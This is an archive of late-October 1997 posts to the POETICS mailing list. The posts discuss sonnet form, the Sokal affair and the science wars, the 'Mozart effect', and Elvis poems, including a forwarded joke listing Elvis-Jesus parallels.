> *In The Names, Paul Lake appears among the "zealots of the alphabet," the*
> *worshippers of natural form and deniers of the arbitrariness of signs.*
> *They match the initials of a person's name with the initials of a place*
> *name. Then they naturally kill the person. Once belittled as lunatic,*
> *this practice has now been shown to fit the latest discoveries of ananarchic*
> *non-chaos physics.*
>
> *But, in the epilogue, a Language poet appears, and convinces us of the*
> *unrelation between the Parthenon and our syntax. The form moves us deeply,*
> *though we have no feelings to be moved.*

> *Mark Baker*

↑ Index

461. Sylvester Pollet
elvis poems
Wed 22 Oct 1997

This one came backchannel, but it's such fun I thought it should be shared--got permission. Sylvester
>
>On Wed, 22 Oct 1997, Sylvester Pollet wrote:
>
>> Thanks! It's great, & you should have sent it to the list, I think. I'm
>> sure this is the one she'll post on her office door, along with the picture
>> of The Colonel in a Santa suit giving Elvis a present.
>
>i thought about it but it was simpler to just post it to you--yeah, yeah:
>email address whimp, i know!
>repost it to the list if you want-
>--shaunanne

> *Date: Wed, 22 Oct 1997 08:24:52 [redacted] (CDT)*
> *From: ShaunAnne Tangney Humanities 8-13-1997 <[redacted]>*
> *Subject: elvis/coincidences? (fwd) :) (fwd)*
> *To: [redacted]*
> *MIME-Version: 1.0*
>
> *re: yr request on POETICS for elvis poetry*
>
> *sylvester--not exactly a poem, but couldn't resist passing it along.*
>
> *TWO KINGS*
> *---------*
>
> *Jesus said, "Love thy neighbor" (Matthew 22:39)*
> *Elvis said, "Don't Be Cruel" (RCA, 1956)*
>
> *Jesus H. Christ has 12 letters.*
> *Elvis Presley has 12 letters*
>
> *Jesus is the Lord's shepherd.*
> *Elvis dated Cybill Shepherd.*

Jesus said, "Man shall not live by bread alone" (Matthew 4:4).
Elvis loved his sandwiches with peanut butter and bananas.

"Then they took up stones to cast at [Jesus]" (John 8:59)
Elvis was often stoned.

Jesus was the Lamb of God.
Elvis had mutton chops.

Jesus was part of a Trinity.
Elvis' first band was a trio.

Jesus walked on water (Matthew 14:25)
Elvis surfed (Blue Hawaii, Paramount, 1965)

Jesus was a carpenter.
Elvis majored in woodshop/industrial arts in high school.

Jesus lived in a state of grace in a Near Eastern land.
Elvis lived in Graceland in a nearly eastern state.

Jesus wore the crown of thorns.
Elvis wore Royal Crown hair styler.

Jesus' entourage, the Apostles, had 12 members.
Elvis' entourage, the Memphis Mafia, had 12 members.

Jesus as wine (sacramental wine).
Elvis as wine (Always Elvis wine by Frantenac.)

A major woman in Jesus' life (Mary) had an immaculate conception.
A major woman in Elvis' life (Priscilla) went to Immaculate Conception

Jesus was resurrected.
Elvis had the famous comeback special in 1968.

Son of God.
Sun Studios.

Jesus said, "If any man thirst, let him come unto me, and drink" (John 7:37)
Elvis said, "Drinks on me!" (Jailhouse Rock, MGM 1957)

Jesus fasted for 40 days and nights.
Elvis had irregular eating habits (e.g., five banana splits for breakfast).

Jesus is a Capricorn (Dec 25).
Elvis is a Capricorn (Jan. 8).

> *Jesus biography by Matthew (Gospel according to Matthew).*
> *Elvis biography by Neal Matthews (Elvis: A Golden Tribute).*
>
> *"[Jesus'] countenance was like lightning, and his raiment white as snow" (Matthew 28:3).*
> *Elvis' trademarks were a lightning bolt and snow-white jumpsuits.*
>
> *Jesus was Jewish.*
> *Elvis was part Jewish (from his maternal great-grandmother, Martha Tackett Mansell).*
>
> *Jesus' purple robe.*
> *Elvis' pink Cadillac.*
>
> *Jesus' father is everywhere*
> *Elvis' father, Vernon, was a drifter and moved around quite a bit.*
>
> *Doubting Thomas.*
> *Suspicious Minds.*
>
> *There is much confusion about Jesus' middle name - what does the "H" stand for?*
> *There is much confusion about Elvis' middle name - was it Aron or Aaron?*
>
> *Jesus made rocks roll away from his tomb.*
> *Elvis made rock and roll.*
>
> ==========
>
> *-------- End of Forwarded Message*

↑ Index

462. **Harold Rhenisch**

Re: sonnets and certainty

Wed 22 Oct 1997

Mark,

It seems to me that to subvert a sonnet requires a parallel certainty to the one you require for the writing of a sonnet. It is the certainty of an approach (even if the approach is uncertain), rather than the certainty of syllogisms.

By the way, Shakespeare's sonnets don't give me a feeling of certainty. Desperation would be more like it. A man beating his head against a wall, of form perhaps, perhaps of underlying logic. Berryman, who subverted, found the same wall. The pattern is anything but casual, alright.

The wall is important, and it should be possible to move past it or to reconsider it. If that means attempting to subvert the sonnet, so that the sonnet becomes the wall and the previous wall vanishes so we can move out into the space it hid, why not.

But it should be possible to play with the form by opening it up wide, making it into pages, if need be, following (or subverting) the underlying logic instead of the outward form, using 14 rhymed stanzas instead of rhymed lines, subverting the language, subverting the syllogisms, anything we can drag in (or out). I'm not saying it would or would not be worthwhile or advisable, but it is possible.

****
>Of course, it's possible to try to subvert a form, but the form is in
>itself anything but "de-formative." The sonnet, for example, which I tried
>to subvert for about seven years of apprenticeship, is not just a love
poem
>in any casual pattern of 14 rhymed lines. It contains within itself a
>logical constraint: an if/then pattern (in Shakespeare an if/if/if/then
>pattern). A variant on the syllogism. This is true whether one looks at
>Donne, or Keats, or Wordsworth, or Spencer or Milton.
>I have nothing against syllogisms, I just don't find them particularly
>useful for me as a mode of inquiry. Put another way, for me to write a
>sonnet I'd have to experience life and language as governed by an apparent
>logic. The logic, the coherence, would be a given. In the secular world in
>which I live whatever logic may be available takes a bit more exploration
>to discover.

↑ Index

463. **Jordan Davis**
Re: sonnets and certainty
Wed 22 Oct 1997

It is absurd to discuss form with formalists. Formalists by definition know nothing about form, and if they should happen to produce a beautiful poem, it is barely less amazing than the discovery of a giant pumpkin in the shape of Mt Rushmore in a patch on Long Island. It belongs to the same category of experience.

I will repeat myself, because harrassment seems to be the only thing that gets across in email. "A cynic is one who knows the price of everything but the value of nothing." (wallace stevens)

L:o:v:e,
Jordan

↑ Index

464. **Christopher Alexander**
Re: hear we go again
Wed 22 Oct 1997

---

sent this backchannel in response to a backchannel from Mark, then sent an explanation that I'd mistakenly written as if to the list, only to notice a reply to Mark on the list (!)—that explains why I had 2 copies in my box. anyway, here 'tis. (hi, Mark!)

to quote Alan Sondheim, <<much confusion prevails>>

--

Mark Weiss wrote:
> Of course, it's possible to try to subvert a form, but the form is
> in itself anything but "de-formative."

hmm. not sure we're connecting on this one. I'd say that the logical structure of the sonnet, which you indicate having struggled with, wld have profoundly deformed the manner of yr work. (btw—the ambiguity of "work"—I mean to indicate the process of working, & not so much the product here, b/c it seems odd to me that we wld think we cld compare the poem as sonnet with—what? the poem if it weren't a sonnet? but there isn't any such poem.).

I'm just not sure I follow yr objection. I meant to indicate that restrictions we impose on our work operate as supplementary formative pressures—something else to kick against, maybe— & certainly some more than others. & that the addition of such a pressure can, by changing the constellation of forces that informs the work (which is, I take it, not constant, but has abiding elements & approaches constancy over the short term), knock us out of our usual pattern of "response", or however you'd like to formulate it. that the sonnet didn't take you where you wanted to be is precisely the point; that, in this case, it took you somewhere you assuredly didn't want to be is disappointing.

I haven't worked with the sonnet form but once, & some time ago (can you see it receding?), but I can't help offering this speculation to the list, based on experience with other formal procedures: cheat at this game. or not so much cheat as—. "genre" indicates a set of more or less definite characteristics that establish permeable boundaries at the approach to zero, nope, not a sonnet (or whatever) thank you for playing. now, having read one somewhere, I'm pretty much aware of what those conventions are in the case of the sonnet; &, yes, if what you want is to end up with a sonnet, well, I guess you're stuck with such as are deemed necessary to sonnethood (Robin's cousin; he was the one got poison oak in issue #3), including the syllogistic structure. but then again, I wasn't

really talking about *producing sonnets*, & I figured folks wld pick up on that from my talk of displacement & use & so forth; I guess the flippancy of my last line was too much for youse. how bout this, then: I don't really care if what I end up with is a sonnet. but I think the sonnet form cld be used in the way I just outlined, & so it wld be unfortunate to issue any blanket condemnations. as a reader, I'd like to encourage tolerance at least; as a writer, I don't think one can provide an argument that wld convince me any form is dead or useless.

best, Chris

..
Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press site: http://choengmon.lib.utah.edu/~calexand/nonce/

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465. **mark weiss**
(no subject)
Wed 22 Oct 1997

Well, since the structure of rock music is a lot more readily apparent than the structure of mozart's music, there must be another explanation. Maybe the Heavy Metal rats were stoned. Or maybe it depends on which Mozart the other rats listened to. If it was the Marriage of Figaro, say, they obviously weren't following the libretto, maze-like as its is.

At 08:40 AM 10/22/97 -0400, you wrote:
>mark weiss wrote:
>>
>> I know this is a side issue, but I really would like to be enlightened on
>> this point. I have always assumed that Mozart was good for me, but not that
>> he made me smarter. Who says this? Do they also say (and on what basis),
as
>> you seem to imply, that Haydn or Beethoven offer less of an IQ boost? My
>> guess is that the answer might be a hoot.
>>
>> The argument
>> >strikes me as a universalization of the "Mozart effect"--i.e., that
>> >because Mozart's [admittedly 'formal'] music raises IQ [&, I have little
>> >doubt, does much more], all formal music must possess similar virtues,
>> >or [LaRouche's point] all music ought to embody formal [i.e.,
>> >immediately apparent] structures. Yeah, but: Mozart's genius engaged the
>> >formal in a special way which other classical composers evidently did

>> >not, since only his music appears to have the magical "Mozart effect."
>> >
>Mark,
> Don G. Campbell just published a book about this on Oct. 1: _The Mozart
>Effect: Tapping ther Power of Music to Heal the Body, Strengthen the
>Mind, and Unlock the Creative Spirit_. Avon. ISBN: 0380974185, 352pp.
>[OK: the subtitle makes me queasy, but look at the publisher]
> I haven't read it yet, but have heard Campbell interviewed a few times
>[as well as others on the same matter]. An experiment with rats, for
>example, who listened to Mozart showed they learned to run a maze
>several times faster if they listened to Mozart , whereas those who
>listened to Heavy Metal took several times longer to learn. Does this
>surprise anyone?
> I suspect the experimental psychologists have already done a chunk of
>work on this for Campbell to use [he also wrote some other books on
>music, evidently also for a mass audience], and that we can find much of
>that work easily on the net. These days, though, I just don't have the
>time.
> Hope that helps.
>Dan Zimmerman
>
>

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466. **mark weiss**
Re: hear we go again
Wed 22 Oct 1997

No real objection to what you say--actually, I just tagged my reply to your post for the sake of continuity of thread and to take the opportunity to make clear what some of the consequences of form may be. And I quite agree that others may find the form useful, instructive, etc. Milton et al certainly did (not to mention a host of French and Italians). I don't for me now, for the reasons stated.

At 10:35 AM 10/22/97 MST7MDT, you wrote:
>Mark Weiss wrote:
>> Of course, it's possible to try to subvert a form, but the form is
>> in itself anything but "de-formative."
>
>hmm. not sure we're connecting on this one. I'd say that the
>logical structure of the sonnet, which you indicate having

>struggled with, wld have profoundly de-formed the manner
>of yr work. (btw—the ambiguity of "work"—I mean to indicate
>the process of working, & not so much the product here, b/c
>it seems odd to me that we wld think we cld compare the poem
>as sonnet with—what? the poem if it weren't a sonnet? but
>there isn't any such poem.).
>
>I'm just not sure I follow yr objection. I meant to indicate
>that restrictions we impose on our work operate as supplementary
>formative pressures—something else to kick against, maybe— &
>certainly some more than others. & that the addition of such a
>pressure can, by changing the constellation of forces that informs
>the work (which is, I take it, not constant, but has abiding elements
>& approaches constancy over the short term), knock us out of our
>usual pattern of "response", or however you'd like to formulate it.
>that the sonnet didn't take you where you wanted to be is precisely
>the point; that, in this case, it took you somewhere you assuredly
>didn't want to be is disappointing.
>
>I haven't worked with the sonnet form but once, & some time
>ago (can you see it receding?), but I can't help offering this
>speculation to the list, based on experience with other formal
>procedures: cheat at this game. or not so much cheat as—.
>"genre" indicates a set of more or less definite characteristics
>that establish permeable boundaries at the approach to zero, nope,
>not a sonnet (or whatever) thank you for playing. now, having read
>one somewhere, I'm pretty much aware of what those conventions
>are in the case of the sonnet; &, yes, if what you want is to end up
>with a sonnet, well, I guess you're stuck with such as are deemed
>necessary to sonnethood (Robin's cousin; he was the one got
>poison oak in issue #3), including the syllogistic structure. but
>then again, I wasn't really talking about *producing sonnets*, & I
>figured folks wld pick up on that from my talk of displacement &
>use & so forth; I guess the flippancy of my last line was too much
>for youse. how bout this, then: I don't really care if what I end up
>with is a sonnet. but I think the sonnet form cld be used in the way
>I just outlined, & so it wld be unfortunate to issue any blanket
>condemnations. as a reader, I'd like to encourage tolerance at least;
>as a writer, I don't think you can provide an argument that wld
>convince me any form is dead or useless.
>
>best, Chris

>
>..
>Christopher W. Alexander etc. / nominative press collective
>
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>press site: http://choengmon.lib.utah.edu/~calexand/nonce/
>
>

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467. **Harold Rhenisch**
the forklift school of verse
Wed 22 Oct 1997

Seems to me Coleridge said that he wrote rhymed verse by writing the rhymes first and then backing the poem into the rhymes.

You could do that with any other technique of a poem, traditional or otherwise.

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468. **Aldon Nielsen**
Re: Minneapolis is socially constructed
Wed 22 Oct 1997

I'll have to look into the Weinberger sources now -- Last time I checked anything he'd cited in this regard I found that the author had quite clearly not said what Weinberger attributed --

This appears to be one of the most difficult points for Sokal to get hold of, even though it seems quite simple, if not simple-minded --

LAWS do not occur in nature, whether we mean the laws of physics or the law of the land --

There are phenomena that we attempt to describe,,, the description gets called a law of physics --

Again, I know of nobody who has claimed that what we term gravity functions differently in different cultures -- though I will now certainly look into EW's citations in case somebody has made such a claim (again, excepting Sokal himself) and I've missed it -- not at all impossible --

On the other hand, I still don't understand why anyone would get upset by the assertion that, prior to Newton say, people's subjective experience of gravity differed from my own -- In the same, perhaps trivial ways, that even though the

sun beat down everywhere following the same laws of physics, it was no doubt experienced differently by folk who thought they inhabited a heliocentric universe

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469. **Aldon Nielsen**
Re: Poets on Prose -Reply
Wed 22 Oct 1997

> *What??? No mention of The Names and its fascination with language!?*

What??? No mention of _Ratner's Star_ and its fascination with language!?

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470. **henry gould**
Re: Minneapolis is socially constructed
Wed 22 Oct 1997

the issue is not between those who emphasize the relativity and historicity of science and those who emphasize the universal applicability of its laws. most scientists, including Sokal I would assume & Weinberg (it's Weinberg, isn't it, not Weinberger?) are very aware of subjective, local & cultural factors in designing experiments & in the broader history of science.

the debate hinges on a point of philosophy. is there something called objective truth? or is all truth relative, a matter of human naming using arbitrary human signs called words? I would guess most scientists are more comfortable with the former ("realist") position - it supports the universality of their "laws".

I'm not suggesting we take this up for debate. but I think Sokal et al. are aiming at philosophical positions they find inimical - not debating the (granted) relativity of science. it's the relativity of truth that's at issue, and the characterizations of science that stem from a "nominalist" position. - Henry G.

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471. **trace s. ruggles**
Re: the forklift school of verse
Wed 22 Oct 1997

At 11:11 AM -0700 10/22/97, Harold Rhenisch <[redacted]> wrote:
>Seems to me Coleridge said that he wrote rhymed verse by writing the rhymes
>first and then backing the poem into the rhymes.
>

>You could do that with any other technique of a poem, traditional or
>otherwise.

isn't this part of the whole "form directing content" aspect of lang po?

trace

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472. Mark Baker
Re: Poets on Prose -Reply
Wed 22 Oct 1997

> *What??? No mention of _Ratner's Star_ and its fascination with language!? >*

In Ratner's Star, the pubescent language poet writes her first manifesto:

"To express what is expressible isn't why you write if you're in this class of writers. To be understood is faintly embarrassing. What you want to express is the violence of your desire not to be read. The friction of an audience is what drives writers crazy. These people are going to read what you write. The more they understand, the crazier you get. You can't let them know what you're writing about. Once they know, you're finished. If you're in this class, what you have to do is either not publish or make absolutely sure your work leaves readers strewn along the margins. This not only causes literature to happen but is indispensable to your mental health as well."

Mark Baker

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473. Harold Rhenisch
Re: Minneapolis is socially constructed
Wed 22 Oct 1997

Aldon Nielson wrote:

"On the other hand, I still don't understand why anyone would get upset by the assertion that, prior to Newton say, people's subjective experience of gravity differed from my own -- In the same, perhaps trivial ways, that even though the sun beat down everywhere following the same laws of physics, it was no doubt experienced differently by folk who thought they inhabited a heliocentric universe"

Not trivial. We make our metaphors and then we live in them. Science is a metaphor. If 'metaphor' is a sticky term, how about 'screen'. Those heliocentric folks experienced a different subjective universe, but it was as capable of describing the universe as the scientific universe in fashion these days. I'd prefer to bring stuff back to perception, even logic, rather than to science, given that

science too can be brought back to perception and logic (although it is not the same as they are)

Harold Rhenisch

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474. **Aviva Vogel**
Re: ILS 1.8
Wed 22 Oct 1997

In a message dated 97-10-22 10:59:02 EDT, you write:

<< Watten ILS essay >>
I like Henry's idea that this essay might be posted for discussion.

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475. **Pritchett,Pat**
Re: ILS 1.8
Wed 22 Oct 1997

Yes- great idea - I'm partway though it myself - BUT - it's obviously far too long to post to the List. I think this impracticality was brought up before in a discussion of Steve Evans's wonderful essay in the same series, "Dynamics of Literary Change." So...

From: Aviva Vogel
To: POETICS
Subject: Re: ILS 1.8
Date: Wednesday, October 22, 1997 4:57PM

In a message dated 97-10-22 10:59:02 EDT, you write:

<< Watten ILS essay >>
I like Henry's idea that this essay might be posted for discussion.

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476. **Aldon Nielsen**
All Fall Down
Wed 22 Oct 1997

Apologies to several -- In catching up on the amassed email that came in while I was sunning myself in Minneapolis, I mistakenly thought we were discussing some new essay -- but now I see it is, again, S. Weinberg's '96 review and reply -- neither of which contains any citations of scholars who think that gravity

exerts itself differently against the Aleutians from the way it messes with me here at the trembling edge of the nation's attention span.

I would, as has already been done here, advise a read of Arkady Plotnitsky's "'But It Is Above All Not True': Derrida, Relativity, and the 'Science Wars'" in PMC-- I suspect it's not the last word . . . but it at least spells most of the names correctly, which I seldom can manage here

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477. **Bob Grumman**
Re: math/logic and poetry
Wed 22 Oct 1997

Thanks for the toot, Luigi! Yeah, I didn't really want to do the toot myself, though I toot my own horn a lot elsewhere. Also, I wasn't sure my kind of mathematical poetry was what the listees were looking for.

Oh, I agree with you that the poem at my site isn't my best mathemaku-- but I do like it (when I like any of my poems), and I think it the best of my mathemaku for use at my site. Incidentally, I don't think I'll leave it there. I think it'd be better to rotate poems every three months or so, so am considering soliciting poems of any kind--but they have to be explicitly about poetry. Do you have any, or know of any good ones? I'd probably use the Marianne Moore (can you believe it, I don't know how to spell her first name, unless by accident I got it right) if I didn't figure it'd be copyright infringement.

By the way, what's the latest with Taproots?

all bestest, Bob

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478. **R. Gancie**
Sokallese
Wed 22 Oct 1997

Henry and Tom: What I mean Henry is that statements like "science requires a fundamentally 'realist' approach" is like Weinberg's notion of "one to one correspondence;" you can talk about it but you can never get there. The key is that somewhere, even if its just in your head, you have to talk. Just reflect on how intuitive the phrase "fundamentally 'realist' approach" is. Think about your personal intellectual (and non-intellectual) history; the one that leads to such phrases having any force of expression for you. Then think of the inherently relativist nature of that history and then begin to pin the tail on phrases like "some kind of apprehensible reality out there." You guys are so immersed in the lay context of the scientific method that you've forgotten that YOU DON'T NEED

SCIENCE TO HAVE REGARD FOR THE REAL.---(Note Mark's apple image and see if it contradicts me. And Henry "testable truth" is not necessarily scientific truth.) But valuing the real is not the same as knowing it. Science as many, many commentaters have observed (Pierce included) relies on processes of mathematization, quantification, formalization, reduction what have you to achieve its interface with the 'real.' Henry, not only the "tools and procedures" of science change but its relationship to the 'real' changes constantly too. The some total of necessarily iterative or experimentally repeatable properties of any entity described by science does not equal the "ding an sich."(excuse short cut mongrel philosphy here) This is revealed by the contingent nature of science itself. A muon never IS; it is defined as, dare I say, much like a word is not the object that it describes. The 'real' of science is the claim that its contingencies are determined by its interface with the phenomena itself and not in what would amount to a new Scholasticism. But unfortunately, the sciences themselves have not been equal to the task and as I have tried to point out on this list and elsewhere, its not so much an atmosphere of relativist vs. positivists but of an utter disregard for the importance and responsibilies of language on the part of those who would now criticize certain deconstructionists. (Henry, I don't understand some of your energized phrases. If there is anybody that is not "residing someplace in the middle" its got to be you. Otherwise I would have drawn a bead on you by now and knocked you right out of your saddle.) Example: At the end of my piece, Science Smiling into its Beard, I point out that Weinberg translates Heisenberg's phrase Die Unbestimmtheitsrelation, as the Uncertainty Principle, and then berates Heisenberg for inroducing such an unfortunate phrase as "Uncertainty Principle." Well, if Heisenberg had introduced the unfortunate phrase perhaps Weinberg would have a point. But Heisenberg never said Uncertainty Principle; his English translaters did. A more accurate translation wopuld have been 'indeterminacy relation' which was closer to Heisenberg's meaning and which if you reflect a little, you will see has none of the "unfortunate" either/or of a "principle" that Weinberg, actually rather snottily, and quite wrongfully attributes to Heisenberg's lack of regard for the implications of language. I'm just a schmo down here on the killing floor, and I might be oughtta line, but Weinberg's stupidity is unconscionable. Example. Mark, as for Sokal's methods. On the op-ed page here in Washington recently, James Glassman, writes about the Dihydrogen Monoxide: Hidden Killer story. You know the kid who got his class to vote to ban water by describing its dangers (statistically) and referring to it by only its chemical makeup. Well, Glassman inflates this little tale to claim that the American public in general is being duped by the EPA and the like and that environmental dangers are not only often exaggerated but are even fabricated. Sokal serves the same function as as the kid in his science class incidentally wants to be a nuclear engineer just like his dad. Its not Sokal who worries me. The way he did what he did speaks for

itself. And apparently he can't distinguish between the literal and the metaphorical even in the work of his heroes. Its the people who feel the necessity to support Sokal institutionally, politically and financially, that concern me. Your students swim in the scientific paradigm, a paradigm in which they will never have even a hoarse whisper of a democratic say. They can stand a little of what you call relativism. Everyone grows up in the shadow of their nuclear engineer dad anyway. Its meaningless to say American's in general are illiterate in the sciences or that their children are. For the vast majority of us scientific literacy would be a meaningless waste of productive time anyway because if our conclusions wouldn't matter in any case. A relatively small number of people will suffice to keep the scientific paradigm rolling quite possibly toward oblivion. My concern is that there are a few within that community that can see the to maintain alternatives. You can be damn sure that the ones who control funding for science and technology don't give a friar's fart about the less fungible discplines on our campuses. I repeat. I not a supporter of Hayles, Aronowitz, Harding et al. I also recieve no funding. I've come to my critque of tyhe sciences through years of reading, writing, reflection and conversation outside of any academic setting. Therefore my approach may seem ideosyncratic but it is also in my estimation more comprehensive. I like to think that I bring to it the best tools and understanding of the modernist poetic tradition and not the post-modernist if such discretions really have any meaning. I use sources that I've never heard the Sokal flap people refer to; and that's folks on both side of the argument.---Carlo Parcelli

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479. Harold Rhenisch

Re: the forklift school of verse

Thu 23 Oct 1997

---

in regards to

>Seems to me Coleridge said that he wrote rhymed verse by writing the rhymes
>first and then backing the poem into the rhymes.
>
>You could do that with any other technique of a poem, traditional or
>otherwise.

trace s. ruggles wrote:

> *isn't this part of the whole "form directing content" aspect of lang po?*

I meant to suggest that Coleridge was lang po. Or would have been if lang po were not bound so tightly to a time, a sensibility, and a place.

Harold

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480. **Hugh Steinberg**
Re: elvis poems
Thu 23 Oct 1997

David Wojohn's book _Mystery Train_ has a great Elvis poem, can't remember the specific title, about Elvis and his pals going out into the Nevada desert, where Elvis demonstrates his psychic powers by making clouds move.

Hugh Steinberg

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481. **mark weiss**
Re: elvis poems
Thu 23 Oct 1997

Check out Susie Mee, "The Gospel According to Elvis," in Grand Street #55. She's also published a novel, _The Girl Who Loved Elvis,_ about 4 years ago from Peachtree Press.

At 11:53 PM 10/22/97 -0600, you wrote:
>David Wojohn's book _Mystery Train_ has a great Elvis poem, can't remember
>the specific title, about Elvis and his pals going out into the Nevada
>desert, where Elvis demonstrates his psychic powers by making clouds move.
>
>Hugh Steinberg
>
>

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482. **Ken Edwards**
Mathematics and poetry
Thu 23 Oct 1997

On Tue, 21 Oct 1997, Jennifer Ashton wrote:

> Dear list members,
>
> I would be grateful for any reading suggestions of contemporary poets
> who have used mathematical or logical models as occasions for composition.

Try Allen Fisher's oeuvre, _passim_. His books are too various and too fugitive to list, but Small Press Distribution should have some. His current project, not due for completion for some years, and manifesting itself as a series of books from (mainly) British small presses, has the overall title _Gravity as a consequence of shape_.

Ken

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483. **hen**
Re: ILS 1.8
Thu 23 Oct 1997

On Wed, 22 Oct 1997 17:04:00 -0500 Pritchett,Pat @Silverplume said:
>Yes- great idea - I'm partway though it myself - BUT - it's obviously far
>too long to post to the List. I think this impracticality was brought up
>before in a discussion of Steve Evans's wonderful essay in the same series,
>"Dynamics of Literary Change." So...

I should have been more clear : I meant maybe it could be posted on the web, at the EPC - not directly to the list. I think Jacques may be following up on that possibility, if it is one. - Henry G.

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484. **Joe Amato/Kass Fleisher**
Re: Sokallese
Thu 23 Oct 1997

---

carlo, while much of what you say re the abuses of "science" are true, i need to ask you whether you mean to throw out *everything* that might properly be termed "science," or simply the last century... or the last fifty years... or---

i mean, "science" can stand for such a myriad of social and cultural practices that i have to admit---NO, i don't want to throw all that away!... i detest the way "science and technology" as Big Business has permeated (e.g.) campuses such as mine (e.g.)... at the same time, we're going to need something like "science"---AND something like "humanities"---however altered/modified/radicalized (choose your terms) if we're going to provide for billions of people, if we're going even to have something like an 'ecology' in 40 years (with due regard for "science's" complicity---and "humanities" too as a cluster for disciplines---for fucking it up... and believe me, i AM sweating that "we're")...

so i'd like to know, now: are you drawing any lines here?... or are you suggesting---seriously carlo---that we simply shit-can every theoretical insight that one might currently associate with "science"... i think it's this blurring of

distinctions, as it were, that's coming off as provocative hereabouts... so i guess i'm trying to provide some space here for you to articulate an alternative... and no, i'm not just being cagey---i know you can't 'undo' so many decades of Big Science (new term, ok)... but how about some leads?...

b/c for me, i've *found* some leads in the literature-science work going on... though in fact this work itself is in some ways reverent (ok, my term) of science (mea culpa)... talking about the obvious blindnesses, and political motivations, of self-proclaimed 'public defenders' like sokal and gross & levitt and weinberg is one thing... but you know, i know, what most of us know: that it's damned hard to offer up constructive alternatives in a world that seems more and more built upon the premises of "science and technology" (and if you wish to separate these two, why hey---that's ok too!)... and that, for example, "science" has a *better* take on "life" a la evolution than do the fundamentalist-creationists, yes?...

best,

joe

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485. **Henry Gould**
Re: Sokallese
Thu 23 Oct 1997

Carlo, you covered a lot of territory there, & you're obviously more up on the science literature. The arrogance of science in various manifestations, the struggle between science & humanities on campus, the struggle for an alternative to the positivist post-Newton anti-intellectualism, etc... all important. But Sokal gave left humanities a kick in the pants, and as I see it, again, it's a philosophical issue. You're not going to resolve the subjective/ objective question re: truth by simply miming how "subjective" phrases like these sound in action. Nor does it do to stereotype the concept of a stable truth "out there" as a simplistic notion. It's not so simple on either side of the fence. & I would say the strain of postmodernism Sokal had in his sights - post-Nietszschean, post- Heidegerrian Derridean relativity - i.e. the "logos" or order of nature is a time-bound patriarchal illusion masking the free play of non-identity [A does not = A] - really is anti-science based on pretty straightforward "nominalism". & these can also be seen as the false friends of poetry & the humanities. Friends AND false friends: I don't deny the amazing subtlety & interest in Derrida and related writers - there IS real discovery there, too. But science and poetry need not be rivals for human allegiance. - Henry gould

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486. R. Gancie
Sokallese: Errors in human transmission
Thu 23 Oct 1997

Mark and Henry: Please excuse the many errors in my previous transmission, the most egregious being the initial address to Tom when I meant Mark. No matter how many other committments I have, I want to communicate my meaning as consistently and thoroughly as possible. Mark, in particular, I owe you a more thoughtful and comprehensive reply. Its impossible to address each individual point especially when there are so many uncritical assumptions in your remarks. On the one hand Tom wants to separate the way Thales would think of souls from the way John McCarthy might (actually I was trying to be tongue in cheek and thought no one would interpret the remark so literally); but then Judy wants to ad hoc consider weaving as an historical/technological continuum, Burlington and the Jacquard loom existing in the same spirit as the practice of hand weaving. Actually, this would make a fascinating and relevant, but lengthy, discussion in itself. It got me looking at Annie Albers fabric art yesterday. For example, if we imply, as Tom does, that the word 'soul' has natural recourse to the taxonomy we call religion, is it then discussible in the same manner as Judy's implied taxonomy, technology? Do the two taxonomies then form a hermeneutic equivalence? What is the language like that drives the discussions? Are their quantifiable standards of critique and illumination? Which taxonomy appears more valid and do the standards of criticism favor one over the other? Mark, let me just say that acceptance of fraudulent texts is not limited to the Sokal affair. Even with peer revues it has occurred many times within the sciences themselves. There's a book called Fraud in Science. Joe Brennan makes the point that the level of metaphor is valid and must be recognized on its own terms and that Sokal insists on a disembodied and literal interpretation to advance his own agenda and that of his powerful handlers. Tom, through Jaynes' Origins of Consciousness and the Breakdown of the Bicameral Mind, insists that metaphor is unavoidable. I would agree even unto methods of mathematization and quantification. That's where the quotes from Hegel and Adorno and Horkheimer come in.---Carlo Parcelli

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487. Sylvester Pollet
Elvis poems
Thu 23 Oct 1997

Thanks, all, for the Elvis poems & citations. I expect it's easier to start a thread than to stop one, but the immediate crisis has passed, so back to Sokal et al.

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488. Robert Archambeau
Re: Elvis poems
Thu 23 Oct 1997

Jere Odell, a young poet who opened for Stephanie Strickland at her reading in Lake Forest last week, told me that wheras all aspiring poets used to feel an obligation to write a sonnet, now they all feel the need to write a poem about Elvis. I thought he was joking, but now I'm not so sure.

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

Only irony is eternal
--Andrei Codrescu

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489. Maria Damon
fwd: Asian American Poetry Inquiry
Thu 23 Oct 1997

Date: Wed, 22 Oct 1997 20:17:46 -0800
To: Maria Damon <[redacted]>
From: [redacted] (Juliana Chang)
Subject: Asian American Poetry

(Please forward to Poetics List and/or other lists--thanks!)

I am writing on behalf of the Poetry Award Committee for the Association of Asian American Studies. We will be reviewing books of poetry by Asian American writers and presenting an award at the 1998 AAAS Conference. If you know of poetry books *published in 1997* that we should review, please send a message with title, author, and publisher to me at <[redacted]>. Below are some books currently under consideration:

Chin, Justin. -Bite Hard-. manic d press
Inada, Lawson. -Drawing the Line-. Coffee House Press.
Kim, Myung Mi. -Dura-. Sun and Moon Press. (if it's out)
Mitsui, James Masao. -From a Three-Cornered World-. University of Washington Press.
Pwu, Jean Lee. -East Wind, West Rain-.
Saijo, Albert. -Outspeaks a Rhapsody-. Bamboo Ridge Press.

Thank you,

Juliana Chang
Chair
1997 AAAS Poetry Award Committee

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490. **Maria Damon**
Re: Elvis poems
Thu 23 Oct 1997

---

check out also El Vez, Chicano activist and Elvis impersonator, there's a nice section about him in Jose Saldivar's forthcoming book "Border Matters."

At 12:01 PM -0400 10/23/97, Danny Collier wrote:
>Sylvester,
>
>You might point your friend toward the proprietor of the Java
>Cabana Coffee House, First Chuch of the Elvis Impersonator
>and Elvis Wedding Chapel in Memphis, TN. Since he has many
>fine Elvis-oriented artworks in his shop (including a wonderous
>series of Velvet Elvis-style Life-of-the-King portraits with captions
>worked into the paintings) he probably could point you at
>Elvis-oriented poets and their works. (He does amazing
>coin-operated interactive animated Elvis impersonator
>installations.)
>
>They have (or had) a web site with links to his e-mail. I'd give you
>the reference, but I got busted for subversively using the law
>firm's international link to its diary/billing system to gain web
>access, so I am
>
>unlinked in Moscow,
>Danny Collier, Native Memphian, Thrice Remarried in the First
>Church of the Elvis Impersonator

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491. **henry**
Re: ILS 1.8
Thu 23 Oct 1997

